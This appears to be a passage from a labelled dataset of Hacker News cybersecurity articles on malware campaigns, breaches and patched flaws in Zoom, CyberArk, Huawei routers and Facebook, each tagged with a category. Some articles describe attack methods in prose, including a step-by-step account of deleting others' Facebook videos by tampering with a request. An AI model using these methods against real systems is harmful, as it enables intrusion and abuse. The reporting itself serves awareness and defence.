The patches for the new hole were distributed on Tuesday, as part of Microsoft's regular monthly cycle for security fixes. The hole is a very serious one, because full exploitation would allow an attacker to control machines running Windows XP and later Windows versions that have Remote Desktop Protocol enabled, as long as the network doesn't demand authentication.

Microsoft launched MAPP in 2008. The program has 79 security firm partners, including AVG, Cisco, Kaspersky, McAfee, Trend Micro, and Symantec, as well as several Chinese antivirus companies. A full list of MAPP members can be found on this Microsoft Web page .

",Malware
Malvertising Campaign On Google Distributed Trojanized AnyDesk Installer,https://thehackernews.com/2021/05/malvertising-campaign-on-google.html,"Cybersecurity researchers on Wednesday publicized the disruption of a ""clever"" malvertising network targeting AnyDesk that delivered a weaponized installer of the remote desktop software via rogue Google ads that appeared in the search engine results pages.
The campaign, which is believed to have begun as early as April 21, 2021, involves a malicious file that masquerades as a setup executable for AnyDesk (AnyDeskSetup.exe), which, upon execution, downloads a PowerShell implant to amass and exfiltrate system information.
""The script had some obfuscation and multiple functions that resembled an implant as well as a hardcoded domain (zoomstatistic[.]com) to 'POST' reconnaissance information such as user name, hostname, operating system, IP address and the current process name,"" researchers from Crowdstrike said in an analysis.
AnyDesk's remote desktop access solution has been downloaded by more than 300 million users worldwide, according to the company's website. Although the cybersecurity firm did not attribute the cyber activity to a specific threat actor or nexus, it suspected it to be a ""widespread campaign affecting a wide range of customers"" given the large user base.
The PowerShell script may have all the hallmarks of a typical backdoor, but it's the intrusion route where the attack throws a curve, signaling that it's beyond a garden-variety data gathering operation — the AnyDesk installer is distributed through malicious Google ads placed by the threat actor, which are then served to unsuspecting people who are using Google to search for 'AnyDesk.'
The fraudulent ad result, when clicked, redirects users to a social engineering page that's a clone of the legitimate AnyDesk website, in addition to providing the individual with a link to the trojanized installer.
CrowdStrike estimates that 40% of clicks on the malicious ad turned into installations of the AnyDesk binary, and 20% of those installations included follow-on hands-on-keyboard activity. ""While it is unknown what percentage of Google searches for AnyDesk resulted in clicks on the ad, a 40% Trojan installation rate from an ad click shows that this is an extremely successful method of gaining remote access across a wide range of potential targets,"" the researchers said.
The company also said it notified Google of its findings, which is said to have taken immediate action to pull the ad in question.
""This malicious use of Google Ads is an effective and clever way to get mass deployment of shells, as it provides the threat actor with the ability to freely pick and choose their target(s) of interest,"" the researchers concluded.
""Because of the nature of the Google advertising platform, it can provide a really good estimate of how many people will click on the ad. From that, the threat actor can adequately plan and budget based on this information. In addition to targeting tools like AnyDesk or other administrative tools, the threat actor can target privileged/administrative users in a unique way.""

",Malware
Google bans Facebook and other self updating Android apps,https://thehackernews.com/2013/04/google-bans-facebook-and-other-self.html,"Google just released a new Play Store version 4.0.27 that, contains only very minor tweaks and Google has changed the rules of its Google Play Store to put an end to the practice of developers updating their apps through their own means rather than the official Google Play channel.


Shortly before the Facebook Home launch, some users noticed a new version of Facebook was available on their device, but it wasn't through the Play Store. Instead, the update came directly through the app, bypassing the Store altogether.

Under the ""Dangerous Products"" section of the Google Play developer policies, Google now states that ""an app downloaded from Google Play may not modify, replace or update its own APK binary code using any method other than Google Play's update mechanism.""

Essentially this means that once an app is downloaded by an Android user it cannot contact home base and auto-update its own operating code. Instead, it has to use the official Google approved channel.

Google says that its Play store is ""trusted source for Android application downloads"" and that it is ""committed to providing a secure and consistent experience."" Allowing apps to update themselves could possibly lead to some less-than-secure scenarios as the initial download from Google Play would be safe while the in-app updater installs malware.

",Malware
"LOL, Jar File Malware Just Goes Viral Through Facebook Messages",https://thehackernews.com/2014/05/lol-jar-file-malware-just-goes-viral.html,"If you came across any suspicious Facebook message with 'LOL' text or a fake Image file send by any of your Facebook friend, avoid clicking it. A Trojan horse is currently circulating in wild through the Facebook social network that could steal your Facebook account data and Credentials.

Security researchers spotted this malware campaign first in the beginning of March this year, where the Trojan spreads itself through the Facebook's Messenger service (inbox) by messaging a victim pretending to be one of their friends saying ""LOL"" with a zip file attached, which appears to be a photo, named ""IMG_xxxx.zip"".

In Past two weeks, many of our readers informed us that they received similar ZIP files from their trusted Facebook friends. The Hacker News team also noticed that despite after several warnings in media, once again the malware campaign just goes viral like any other video scam, but this time directly through users' inbox-to-inbox.

HOW DOES TROJAN CAMPAIGN SPREADS
Facebook User receives a file directly into the inbox from one of the trusted friends, appears to be a photo, named 'IMG_xxxx.zip' with messages 'LOL', OMG,""Have a look at this"" ,""I can't believe someone posted this""
The User downloads the file, assuming it to be from trusted friend and unzip it on desktop.
The Zip file contains a jar file called 'IMG_xxxx.jar' which executes when the user click it.
The Jar file itself is not a virus, but a malware agent, which actually download a file remotely from a pre-defined Dropbox account (as shown in the code).
Once downloaded, it installs the malware as a service on the victim's system.
Then it spread itself further to his Facebook Friends by sending similar malicious message automatically in the background.
To evade detection, the malware injects itself into legitimate processes currently running on the victims' system. This way the malware campaign is spreading like a chain reaction rapidly from last few weeks.
ARE YOU AFFECTED?
To check if you have fall a victim to this attack and have opened any such file sent by your trusted friend, scan your whole system using a reputed antivirus solution and just to be on a safer side change your Facebook account password.

Researchers found the malware as a variant of the Zusy Trojan, which operates by hooking into web browsers in order to steal credit card number or password and send it to the remote malware author.

HOW TO PROTECT?
Before opening any such file, ask the sender if the file is prior to download or not. If they deny, Simply DO NOT DOWNLOAD it.

Cyber criminals have discovered yet another method to utilize the world's most popular social networks for their own beneficial purposes, and because Facebook has become one of the most popular social networking website with more than one billion active users this year, it serves as a vast platform for scammers and cyber criminals to spread malware or virus infections. So, protect yourself from the threats - Stay Tuned to 'The Hacker News'.

",Malware
Swedish authorities raid on PRQ prompts new cyber attack from Anonymous,https://thehackernews.com/2012/10/swedish-authorities-raid-on-prq-prompts.html,"Computer hackers claiming to be from the Anonymous network took over the official website of Sweden's National Board of Health and Welfare. The attacks come just days after police on Monday raided a Stockholm-based webhosting company, PRQ, and a video was posted on YouTube - allegedly made on behalf of the hacker group Anonymous - warning Swedish authorities of repercussions.

Hacktivist network Anonymous has warned that Sweden's Riksbank will suffer a cyber-attack on Wednesday night. ""It's come to our attention that Swedish government raided PRQ servers in order to shut down numerous file sharing and torrent websites,""


""This has gone too far. This is unacceptable. Anonymous says this stops right now. You don't fuck with The Internet… Today we hit their wallets hard."" wrote the Anonymous group on 4chan.

The Riksbank is taking the threat seriously: ""We recognize this as a public threat against websites and we are always trying to keep the web as safe as possible. We have people who are responsible for taking care of the web and IT security,"" said Charlotta Edler, spokesperson of the Riksbank.

PRQ Head Mikael Viborg says his company previously hosted servers for file-sharing site the Pirate Bay and still houses some servers for the secret-spilling website WikiLeaks.

""The raid on PRQ disabled many of our torrent sites. We see this as a crime against freedom to information,"" says a masked spokesperson in a video posted on YouTube by a user claiming ties to Anonymous. ""Swedish government; you know our capabilities and what we want! The choice is yours.""

",Cyber_Attack
"Malware threat to Opera users, Trojan signed with a stolen certificate",https://thehackernews.com/2013/06/malware-threat-to-opera-users-trojan.html,"On June 19, Browser maker Opera admitted that, it discovered an attack on its internal network infrastructure and windows users may have been tricked into installing a Trojan signed with a stolen Opera certificate.

""On June 19th we uncovered, halted and contained a targeted attack on our internal network infrastructure. Our systems have been cleaned and there is no evidence of any user data being compromised.""

""We are working with the relevant authorities to investigate its source and any potential further extent. We will let you know if there are any developments."" said in a post on the Opera Security Blog.

Code signing certificates are used to cryptographically verify that a piece of software comes from its purported publisher. It is possible that a few thousand Windows users, who were using Opera between 01.00 and 01.36 UTC on June 19th, may automatically have received and installed the malicious software.

Opera plans to roll out a new version of its flagship browser which will use a new code signing certificate. The advisory also provides few details about the malware that was signed with Opera's official digital imprimatur, other than to link to this VirusTotal analysis.

",Malware
Pakistani Hacker Arrested for Hacking Telecom Company Database,https://thehackernews.com/2014/04/pakistani-hacker-arrested-for-hacking_5.html,"Pakistan's Federal Investigation Agency (FIA) has arrested a Pakistani Hacker allegedly involved in hacking into a telecom company and uploading their database on his website.

With the help of the National Response Center for Cyber Crime (NR3C) of Pakistan's Federal Investigation Agency, the local authorities were able to trace and arrest the hacker suspected of infiltrating into the systems of Warid Telecom, an Abu-Dhabi-based telecoms company that provides services in Congo, Pakistan and Uganda.

The suspect, Mubashar Shahzad, a resident of Kasur, is believed to have downloaded Warid Telecom's customer information from the company's databases and exposed it online, which was published on earlysms.com, a site hosted with HosterPK.

Investigation started after one of the senior manager of a cellular company filed a complaint saying the 'information of its consumers till 2006 had been exposed over the internet.'

""A technical/forensic analysis found that the website was being hosted by hosterpk. The FIA traced the IP address, email address and phone number of the suspect through the host company,"" Usman Anwar, the Director of FIA told The Express Tribune.

The suspects IP address was traced to a shop in Ghalla Mandi, Kasur, from where the authorities arrested the suspect Mubashar Shahzad. The Investigation Team also detected and seized Shahzad's computers which contained folders named 'Warid Data'. In addition to that, two desktop systems, hard drives and portable Hard drives were also seized by the authorities.

The website on which the stolen data was posted by the hacker has now been shut down.

",Data_Breaches
Two Critical Flaws in Zoom Could've Let Attackers Hack Systems via Chat,https://thehackernews.com/2020/06/zoom-video-software-hacking.html,"If you're using Zoom—especially during this challenging time to cope with your schooling, business, or social engagement—make sure you are running the latest version of the widely popular video conferencing software on your Windows, macOS, or Linux computers.

No, it's not about the arrival of the most-awaited ""real"" end-to-end encryption feature, which apparently, according to the latest news, would now only be available to paid users. Instead, this latest warning is about two newly discovered critical vulnerabilities.

Cybersecurity researchers from Cisco Talos unveiled today that it discovered two critical vulnerabilities in the Zoom software that could have allowed attackers to hack into the systems of group chat participants or an individual recipient remotely.

Both flaws in question are path traversal vulnerabilities that can be exploited to write or plant arbitrary files on the systems running vulnerable versions of the video conferencing software to execute malicious code.

According to the researchers, successful exploitation of both flaws requires no or very little interaction from targeted chat participants and can be executed just by sending specially crafted messages through the chat feature to an individual or a group.

The first security vulnerability (CVE-2020-6109) resided in the way Zoom leverages GIPHY service, recently bought by Facebook, to let its users search and exchange animated GIFs while chatting.

Researchers find that the Zoom application did not check whether a shared GIF is loading from Giphy service or not, allowing an attacker to embed GIFs from a third-party attacker-controlled server, which zoom by design cache/store on the recipients' system in a specific folder associated with the application.

Besides that, since the application was also not sanitizing the filenames, it could have allowed attackers to achieve directory traversal, tricking the application into saving malicious files disguised as GIFs to any location on the victim's system, for example, the startup folder.

The second remote code execution vulnerability (CVE-2020-6110) resided in the way vulnerable versions of the Zoom application process code snippets shared through the chat.

""Zoom's chat functionality is built on top of XMPP standard with additional extensions to support the rich user experience. One of those extensions supports a feature of including source code snippets that have full syntax highlighting support. The feature to send code snippets requires the installation of an additional plugin but receiving them does not. This feature is implemented as an extension of file sharing support,"" the researchers said.

This feature creates a zip archive of the shared code snippet before sending and then automatically unzips it on the recipient's system.

According to the researchers, Zoom's zip file extraction feature does not validate the contents of the zip file before extracting it, allowing the attacker to plant arbitrary binaries on targeted computers.

""Additionally, a partial path traversal issue allows the specially crafted zip file to write files outside the intended randomly generated directory,"" the researchers said.

Cisco Talos researchers tested both flaws on version 4.6.10 of the Zoom client application and responsibly reported it to the company.

Released just last month, Zoom patched both critical vulnerabilities with the release of version 4.6.12 of its video conferencing software for Windows, macOS, or Linux computers.
",Vulnerability
FBI Mapping 'Joanap Malware' Victims to Disrupt the North Korean Botnet,https://thehackernews.com/2019/01/north-korea-hacker.html,"The United States Department of Justice (DoJ) announced Wednesday its effort to ""map and further disrupt"" a botnet tied to North Korea that has infected numerous Microsoft Windows computers across the globe over the last decade.

Dubbed Joanap, the botnet is believed to be part of ""Hidden Cobra""—an Advanced Persistent Threat (APT) actors' group often known as Lazarus Group and Guardians of Peace and backed by the North Korean government.

Hidden Cobra is the same hacking group that has been allegedly associated with the WannaCry ransomware menace in 2016, the SWIFT Banking attack in 2016, as well as Sony Motion Pictures hack in 2014.

Dates back to 2009, Joanap is a remote access tool (RAT) that lands on a victim's system with the help an SMB worm called Brambul, which crawls from one computer to another by brute-forcing Windows Server Message Block (SMB) file-sharing services using a list of common passwords.

Once there, Brambul downloads Joanap on the infected Windows computers, effectively opening a backdoor for its masterminds and giving them remote control of the network of infected Windows computers.

If You Want to Beat Them, Then First Join Them

Interestingly, the computers infected by Joanap botnet don't take commands from a centralized command-and-control server; instead it relies on peer-to-peer (P2P) communications infrastructure, making every infected computer a part of its command and control system.

Even though Joanap is currently being detected by many malware protection systems, including Windows Defender, the malware's peer-to-peer (P2P) communications infrastructure still leaves large numbers of infected computers connected to the Internet.

So to identify infected hosts and take down the botnet, the FBI and the Air Force Office of Special Investigations (AFOSI) obtained legal search warrants that allowed the agencies to join the botnet by creating and running ""intentionally infected"" computers mimicking its peers to collect both technical and ""limited"" identifying information in an attempt to map them, the DoJ said in its press release.
""While the Joanap botnet was identified years ago and can be defeated with antivirus software, we identified numerous unprotected computers that hosted the malware underlying the botnet,"" said U.S. Attorney Nicola T. Hanna.

""The search warrants and court orders announced today as part of our efforts to eradicate this botnet are just one of the many tools we will use to prevent cybercriminals from using botnets to stage damaging computer intrusions.""
The collected information about computers infected with the Joanap malware included IP addresses, port numbers, and connection timestamps which allowed the FBI and AFOSI to build a map of the current Joanap botnet.

The agencies are now notifying victims of the presence of Joanap on their infected computers through their Internet Service Providers (ISPs) and even sending personal notifications to people who don't have a router or firewall protecting their systems.

The US Justice Department and FBI will also coordinate the notification of overseas victims of the Joanap malware by sharing the data with the government of other countries.

The efforts to disrupt the Joanap botnet began after the United States unsealed charges against a North Korean computer programmer named Park Jin Hyok in September last year for his role in masterminding the Sony Pictures and WannaCry ransomware attacks.

Joanap and Brambul were also recovered from computers of the victims of the campaigns listed in the Hyok's September indictment, suggesting that he aided the development of the Joanap botnet.

",Cyber_Attack
Critical Code Execution Flaw Found in CyberArk Enterprise Password Vault,https://thehackernews.com/2018/04/enterprise-password-vault.html,"A critical remote code execution vulnerability has been discovered in CyberArk Enterprise Password Vault application that could allow an attacker to gain unauthorized access to the system with the privileges of the web application.

Enterprise password manager (EPV) solutions help organizations securely manage their sensitive passwords, controlling privileged accounts passwords across a wide range of client/server and mainframe operating systems, switches, databases, and keep them safe from external attackers, as well as malicious insiders.

Discovered by German cybersecurity firm RedTeam Pentesting GmbH, the vulnerability affects one of such Enterprise Password Vault apps designed by CyberArk—a password management and security tool that manages sensitive passwords and controls privileged accounts.

The vulnerability (CVE-2018-9843) resides in CyberArk Password Vault Web Access, a .NET web application created by the company to help its customers access their accounts remotely.

The flaw is due to the way web server unsafely handle deserialization operations, which could allow attackers to execute code on the server processing the deserialized data.

According to the researchers, when a user logs in into his account, the application uses REST API to send an authentication request to the server, which includes an authorization header containing a serialized .NET object encoded in base64.

This serialized .NET object holds the information about a user's session, but researchers found that the ""integrity of the serialized data is not protected.""

Since the server does not verify the integrity of the serialized data and unsafely handles the deserialization operations, attackers can merely manipulate authentication tokens to inject their malicious code into the authorization header, gaining ""unauthenticated, remote code execution on the web server.""

Researchers have also released a full proof-of-concept code to demonstrate the vulnerability using ysoserial.net, an open source tool for generating payloads for .NET applications performing unsafe deserialization of objects.

The technical details of the vulnerability and exploit code came only after RedTeam responsibly reported the vulnerability to CyberArk and the company rolled out patched versions of the CyberArk Password Vault Web Access.

Enterprises using CyberArk Password Vault Web Access are highly recommended to upgrade their software to version 9.9.5, 9.10 or 10.2.

In case you cannot immediately upgrade your software, the possible workaround to mitigate this vulnerability is disabling any access to the API at the route / PasswordVault / WebServices.

",Vulnerability
DHS Warns Small Airplanes Vulnerable to Flight Data Manipulation Attacks,https://thehackernews.com/2019/07/airplane-can-bus-hacking.html,"What could be more horrifying than knowing that a hacker can trick the plane's electronic systems into displaying false flight data to the pilot, which could eventually result in loss of control?

Of course, the attacker would never wish to be on the same flight, so in this article, we are going to talk about a potential loophole that could allow an attacker to exploit a vulnerability with some level of ""unsupervised"" physical access to a small aircraft before the plane takes off.

The United States Department of Homeland Security's (DHS) has issued an alert for the same, warning owners of small aircraft to be on guard against a vulnerability that could enable attackers to easily hack the plane's CAN bus and take control of key navigation systems.

The vulnerability, discovered by a cybersecurity researcher at Rapid 7, resides in the modern aircraft's implementation of CAN (Controller Area Network) bus—a popular vehicular networking standard used in automobiles and small aircraft that allows microcontrollers and devices to communicate with each other in applications without a host computer.

Rapid7 researcher Patrick Kiley demonstrated that a hacker with physical access to a small aircraft's wiring could attach a device—or co-opt an existing attached device—to the plane's avionics CAN bus to insert false data and communicate them to the pilot.

""Modern aircraft use a network of electronics to translate signals from the various sensors and place this data onto a network to be interpreted by the appropriate instruments and displayed to the pilot,"" Kiley said in a report published Tuesday.


The attacker can manipulate the following data:

Engine telemetry readings
Compass and attitude data
Altitude, airspeed, and angle of attack (AoA) data

""The researchers have further outlined that a pilot relying on instrument readings would be unable to distinguish between false and legitimate readings, which could result in loss of control of the affected aircraft,"" the DHS' cyber division warned Tuesday.

Kiley demonstrated the attack after investigating avionics systems—an electronic control and navigation system fitted in an aircraft—from two unnamed commercial aircraft manufacturers specialized in light aircraft.

Kiley found that the key problem with the avionics CAN bus is that it is integrated into the aircraft's other components without any firewalls or authentication, which means untrusted connections over a USB adapter attached to the plane can send unauthorized commands to its electronic systems.

""In avionics, these systems provide the foundation of control systems and sensor systems and collect data such as altitude, airspeed, and engine parameters such as fuel level and oil pressure, then display them to the pilot,"" the researcher said.

""CAN packets also do not have recipient addresses or any kind of built-in authentication mechanism. This is what makes the bus easy to implement, but it also removes any assurance that the sending device was the actual originator of the message.""

Though the attack sounds scary, it is not easy to gain ""unsupervised"" physical access to a plane, given ""current industry practices and regulations,"" nevertheless, the Rapid7 report is worth paying attention to.

The researcher also pointed out that the avionics sector is lagging behind the automotive industry when it comes to the CAN bus system.

The automotive industry has made advancements in implementing safeguards, such as CAN bus-specific filtering, whitelisting, and segregation, that prevent similar physical attacks to CAN bus systems. Aircraft makers should also implement these safeguards.

The DHS' CISA is urging aircraft manufacturers to consider network protections around the CAN bus system and make sure they restrict access to their planes to the best of their abilities.

",Vulnerability
BrutPOS Botnet Compromises insecure RDP Servers at Point-of-Sale Systems,https://thehackernews.com/2014/07/brutpos-botnet-compromises-insecure-rdp.html,"Cyber criminals are infecting thousands of computers around the world with malware and are utilizing those compromised machines to break into Point-of-Sale (PoS) terminals using brute-force techniques, and the attackers have already compromised 60 PoS terminals by brute-force attacks against poorly-secured connections to guess remote administration credentials, says researchers from FireEye.

The new botnet campaign, dubbed as BrutPOS, aims to steal payment card information from the POS systems and and other places where payment data is stored, by targeting Microsoft Remote Desktop Protocol (RDP) servers that were disgracefully using poorly secured and simple passwords.

Due to the better track inventory and accuracy of records, the Point-of-sale (POS) machine is used worldwide and it can be easily set-up, depending on the nature of the business. But, Point-of-sale (POS) systems are critical components in any retail environment and the users are not aware of the emerging threats it poses in near future.

A group of three researchers from FireEye, named Nart Villeneuve, Joshua Homan and Kyle Wilhoit, found 51 out of 60 Remote Desktop Protocol (RDP) servers located in the United States. It is really shamefull that the most common username used by the breached servers was ""administrator"" and the most common passwords were ""pos"" and ""Password1"".

Researchers at FireEye has uncovered five BrutPOS command-and-control (CnC) servers, three of which are now offline and two are active, both based in Russia, which were set up in late May and early June. Only a small fraction of the bots are active at any given time.

The campaign has been active since at least February this year. According to the latest count, cyber criminals are running 5,622 bots in 119 countries, majority of them appeared to be located in Eastern Europe given the language used in interfaces and logs, most likely Ukraine or Russia.
""The infected system begins to make connections to port 3389; if the port is open it adds the IP to a list of servers to be brute forced with the supplied credentials,"" FireEye researchers Nart Villeneuve, Josh Homan and Kyle Wilhoit wrote in a blog post. ""If the infected system is able to successfully brute force an RDP server, it reports back with credentials.""
Once the BrutPOS malware successfully guesses the remote access credentials of an RDP-enabled system, the attacker uses that information to install a malware program on the infected system and then extracts payment card information from the memory of applications running on it.
The malware also attempted to obtain debug permissions likely to identify POS configurations and if it succeeds in getting those permissions, it runs an executable. But if it failed, it copies itself to %WINDIR%\lsass.exe and installed itself as a service.

The FireEye researchers built a honeypot in an effort to understand the attacker's intentions. They set-up a fake POS software and left some fake credit card details on the desktop, and allow hackers to compromise it. They issued signals mimicking infection and watched as attackers popped its RDP login and crawled around the box attempting to open its installed PoS software before formatting the drive to erase evidence trails.

In past, we have seen many massive data breaches targeting POS machines such as TARGET data breach, the third-largest U.S. Retailer in which over 40 million Credit & Debit cards were stolen, and multiple retailers including Neiman Marcus, Michaels Store involving the heist of possibly 110 million Credit-Debit cards, and personal information.

",Data_Breaches
Ransomware Hijacks Hotel Smart Keys to Lock Guests Out of their Rooms,https://thehackernews.com/2017/01/ransomware-hotel-smart-lock.html,"What's the worst that could happen when a Ransomware hits a Hotel?

Recently, hundreds of guests of a luxurious hotel in Austria were locked in or out of their rooms when ransomware hit the hotel's IT system, and the hotel had no choice left except paying the attackers.

Today, we are living in a digital age that is creating a digital headache for people and organizations around the world with cyber attacks and data breaches on the rise.

Ransomware is one of them.

The threat has been around for a few years, but during 2016, it has turned into a noxious game of Hackers to get paid effortlessly by targeting hospitals, Universities, private businesses and even police departments and making hundreds of millions of dollars.

Now, the Romantik Seehotel Jäegerwirt 4-Star Superior Hotel has admitted it paid €1,500 (£1,275/$1,600) in Bitcoin ransom to cybercriminals who managed to break into their network and hack their electronic key card system that prevented its guests from entering or leaving their rooms.

The luxury hotel with a beautiful lakeside setting on the Alpine Turracher Hoehe Pass in Austria, like several other hotels in the industry, has a modern IT system that includes key cards for its hotel doors, which could not be programmed.

Also Read: This Tool Detects Never-Seen-Before Ransomware Before It Encrypts Your Data

According to the hotel management, the hotel has been hit multiple times by hackers, but this time they managed to take down the entire key system, preventing its guests to getting in or going out of their rooms, reported The Local.

Besides gaining control of the electronic key system, the hackers even gained control over the general computer system, shutting down all hotel computers, including the reservation system and the cash desk system.

Once the hotel made the payment, the system was completely restored that allowed the hotel staff to gain access to the network and hotel guests to enter and exit their rooms.

What's interesting? Even after the hotel fulfilled the hackers demand, the hackers left a backdoor to the hotel system in an attempt to conduct another cyber attack later.

Fortunately, the security standards of the hotel had been improved by its IT department, and critical networks had been separated to thwart the attack, giving attackers no chance to harm the hotel again.

Furious hotel managers decided to go public with the incident to warn others about the dangers of cyber attack, with Managing Director Christoph Brandstaetter said:
""The house was totally booked with 180 guests; we had no other choice. Neither police nor insurance helps you in this case.
The restoration of our system after the first attack in summer has cost us several thousand Euros. We did not get any money from the insurance so far because none of those to blame could be found.
Every euro that is paid to blackmailers hurts us. We know that other colleagues have been attacked, who have done similarly.""
The Ransomware had stolen the nights of many businesses and organizations, as they would often be blamed to fight up to this nasty threat.

Ransomware criminals often demand the ransom in Bitcoin (BTC) for the surety of not getting caught, as Bitcoin transactions are non-trackable due to its decentralized nature.

The frequent payment to Ransomware encourages criminals to stash the cash and develop a more enticing framework for the next target. So, instead of paying or encouraging this scheme, keep your software and systems updated and avoid clicking suspicious links.

",Malware
Android based Cars may pose various Security and Privacy Issues,https://thehackernews.com/2014/01/googles-upcoming-android-based-cars-may.html,"After being an owner of Smartphones, now it's your turn to own a Smart Car. Wouldn't it sound great if you could use your favorite mobile apps on Car's dashboard display?

Yes! You heard right.. Google has tied-up with several Auto manufacturers with the goal to bring Android to Cars with built-in controls and hardware by the end of this year.
Google has announced at the CES technology trade show in Las Vegas, the Open Automotive Alliance (OAA) will achieve this with their partners i.e. General Motors, Honda, Audi, Hyundai and chipmaker Nvidia.

This new project is designed to accelerate innovation in the Automotive sector, with the customized version of most popular mobile platform 'Android' for Cars, that will bring Google Places, Maps, Voice, Earth and developer support to cars.
""This open development model and common platform will allow automakers to more easily bring cutting-edge technology to their drivers, and create new opportunities for developers to deliver powerful experiences for drivers and passengers in a safe and scalable way."" Press release says.
Google is working with United States National Highway Traffic Safety Administration to ensure the safety of drivers using Android features in their cars. To Boost the processing power of the system, Nvidia's Tegra K1 quad-core processor will be deployed.

Android and Security issues: The Android Car will be a full fledged node in the Internet which will give enhanced flexibility and functionality of services but at the same time we will most probably face all the threats that are channeled through the internet.

Thousands of Road Accidents have occurred because of Mobile usage during driving, but now we have Mobile based Cars, so the security of the driver will now depend upon the smartness of the applications installed. The car's Android system can be hacked if it's linked to the owner's Smartphone. There will be no doubt if we will see something like ""Rooting your Cars"" soon.

Also Malware is another factor that can pose a serious security issue to life. According to various threat reports, Android is the majorly vulnerable to hackers and malware because of its own weak architecture. Also, it is already proven that an android device can be converted into a Spying bug using a simple malicious application, that can record the surrounding conversation via microphone to upload it to the hacker's server.


Another Major concern is that, Google is a U.S based Company and all FISA Secret orders are again applied on this project too. Will Google be able to stop National Security Agency (NSA) for backdooring our privacy and Security while driving.

So, Google should consider applying all available Security & Privacy measures on these future' Smart Cars to defend against cyber attacks and NSA.

",Malware
Facebook Hacking - Student jailed for eight months,https://thehackernews.com/2012/02/facebook-hacking-student-jailed-for.html,"Facebook Hacking - Student jailed for eight months

26-year-old Glenn Steven Mangham, a student in the UK, has been sentenced to eight months in prison for hacking into Facebook from his bedroom at his parents house. Facebook spent $200,000 (£126,400) dealing with Mangham's crime, which triggered a ""concerted, time-consuming and costly investigation.

Glenn Mangham, 26, admitted to infiltrating the website between April and May of last year. Apparently no user details were taken, as he went straight for ""invaluable"" intellectual property instead. Facebook alerted the authorities last May after they discovered the breach. The FBI took care of the rest, tracing it all back to the UK address. He found his way in by hacking into the account of a Facebook employee.

Facebook operates a bug bounty program in which it pays ethical hackers up to $US 500 for quietly disclosing vulnerabilities. According to reports of Mangham's court appearances, the software development student claimed to have been an ethical hacker who had previously breached Yahoo's system as a service to that company. ""It was to identify vulnerabilities in the system so I could compile a report that I could then bundle over to Facebook and show them what was wrong with their system,"" Mangham told Southwark Crown Court. The judge decided that this was not Mangham's intention at the time.

""You accessed the very heart of the system of an international business of massive size, so this was not just fiddling about in the business records of some tiny business of no great importance,"" the judge continued, noting that Mangham had at least risked ""putting in danger the reputation of an innocent employee of Facebook"".

",Vulnerability
Satori IoT Botnet Exploits Zero-Day to Zombify Huawei Routers,https://thehackernews.com/2017/12/satori-mirai-iot-botnet.html,"Although the original creators of the infamous IoT malware Mirai have already been arrested and sent to jail, the variants of the notorious botnet are still in the game due to the availability of its source code on the Internet.

Hackers have widely used the infamous IoT malware to quietly amass an army of unsecured internet-of-things devices, including home and office routers, that could be used at any time by hackers to launch Internet-paralyzing DDoS attacks.

Another variant of Mirai has hit once again, propagating rapidly by exploiting a zero-day vulnerability in a Huawei home router model.

Dubbed Satori (also known as Okiru), the Mirai variant has been targeting Huawei's router model HG532, as Check Point security researchers said they tracked hundreds of thousands of attempts to exploit a vulnerability in the router model in the wild.

Identified initially by Check Point researchers late November, Satori was found infecting more than 200,000 IP addresses in just 12 hours earlier this month, according to an analysis posted by Chinese security firm 360 Netlab on December 5.

Researchers suspected an unskilled hacker that goes by the name ""Nexus Zeta"" is exploiting a zero-day remote code execution vulnerability (CVE-2017-17215) in Huawei HG532 devices, according to a new report published Thursday by Check Point.
The vulnerability is due to the fact that the implementation of the TR-064 (technical report standard), an application layer protocol for remote management, in the Huawei devices was exposed on the public Internet through Universal Plug and Play (UPnP) protocol at port 37215.
""TR-064 was designed and intended for local network configuration,"" the report reads. ""For example, it allows an engineer to implement basic device configuration, firmware upgrades and more from within the internal network.""
Since this vulnerability allowed remote attackers to execute arbitrary commands to the device, attackers were found exploiting this flaw to download and execute the malicious payload on the Huawei routers and upload Satori botnet.

In the Satori attack, each bot is instructed to flood targets with manually crafted UDP or TCP packets.
""The number of packets used for the flooding action and their corresponding parameters are transmitted from the C&C server,"" researchers said. ""Also, the C&C server can pass an individual IP for attack or a subnet using a subnet address and a number of valuable bits.""
Although the researchers observed a flurry of attacks worldwide against the Huawei HG532 devices, the most targeted countries include the United States, Italy, Germany, and Egypt.

Check Point researchers ""discretely"" disclosed the vulnerability to Huawei as soon as their findings were confirmed, and the company confirmed the vulnerability and issued an updated security notice to customers on Friday.
""An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code,"" Huawei said in its security advisory.
The company also offered some mitigations that could circumvent or prevent the exploit, which included using the built-in firewall function, changing the default credentials of their devices, and deploying a firewall at the carrier side.

Users can also deploy Huawei NGFWs (Next Generation Firewall) or data center firewalls, and upgrade their IPS signature database to the latest IPS_H20011000_2017120100 version released on December 1, 2017, in order to detect and defend against this flaw.

",Cyber_Attack
This Bug Could Allow Hackers to Delete Any Video On Facebook,https://thehackernews.com/2017/01/delete-facebook-video.html,"A security researcher has discovered a critical vulnerability in Facebook that could allow attackers to delete any video of the social networking site shared by anyone on their wall.

The flaw has been discovered by security researcher Dan Melamed in June 2016, allowing him not only to remotely delete any video on Facebook shared by anyone without having any permission or authentication but also to disable commenting on the video of your choice.

Here's how to exploit this flaw:

In order to exploit this vulnerability, Melamed first created a public event on the Facebook page and uploaded a video on the Discussion part of the event.

While uploading the video, the researcher tampered the POST request using Fiddler and then replace the Video ID value of his video with Video ID value of any other video on the social media platform.

Although Facebook responded to this issue with a server error, i.e. ""This content is no longer available,"" but the new video was successfully got posted and displayed just fine.

Once this task was accomplished, Melamed deleted his event post, which eventually deleted the attached video.

And guess what? This in turned removed the video from the social networking site and the wall of the victim.
""You will also notice in the drop down section that there is the option to ""Turn off commenting."" This allows you to disable commenting on the video of your choice,"" Melamed writes.
Video Demonstration
For more step by step details about the vulnerability and how it works, you can watch the proof-of-concept video demonstration above which shows the Facebook video deletion attack in action.

Melamed responsibly reported the vulnerability to the Facebook security team, which patched the vulnerability within two weeks at the beginning of this year.

Shortly after patching the flaw, the social media giant rewarded him $10,000 bug bounty for his efforts.

This is not the very first time when such vulnerability has been disclosed in Facebook that could have allowed attackers to delete any video from Facebook. Bug bounty hunters continuously find and report such bugs to keep the social media platform safe and secure.

",Vulnerability
Hacking Smartphones Running on MediaTek Processors,https://thehackernews.com/2016/02/mediatek-hacking-mobile.html,"A dangerous backdoor has been discovered in the MediaTek processor that could be exploited to hack Android devices remotely.

MediaTek is a Taiwan-based hardware company that manufacture hardware chips and processor used in the smartphones and tablets.

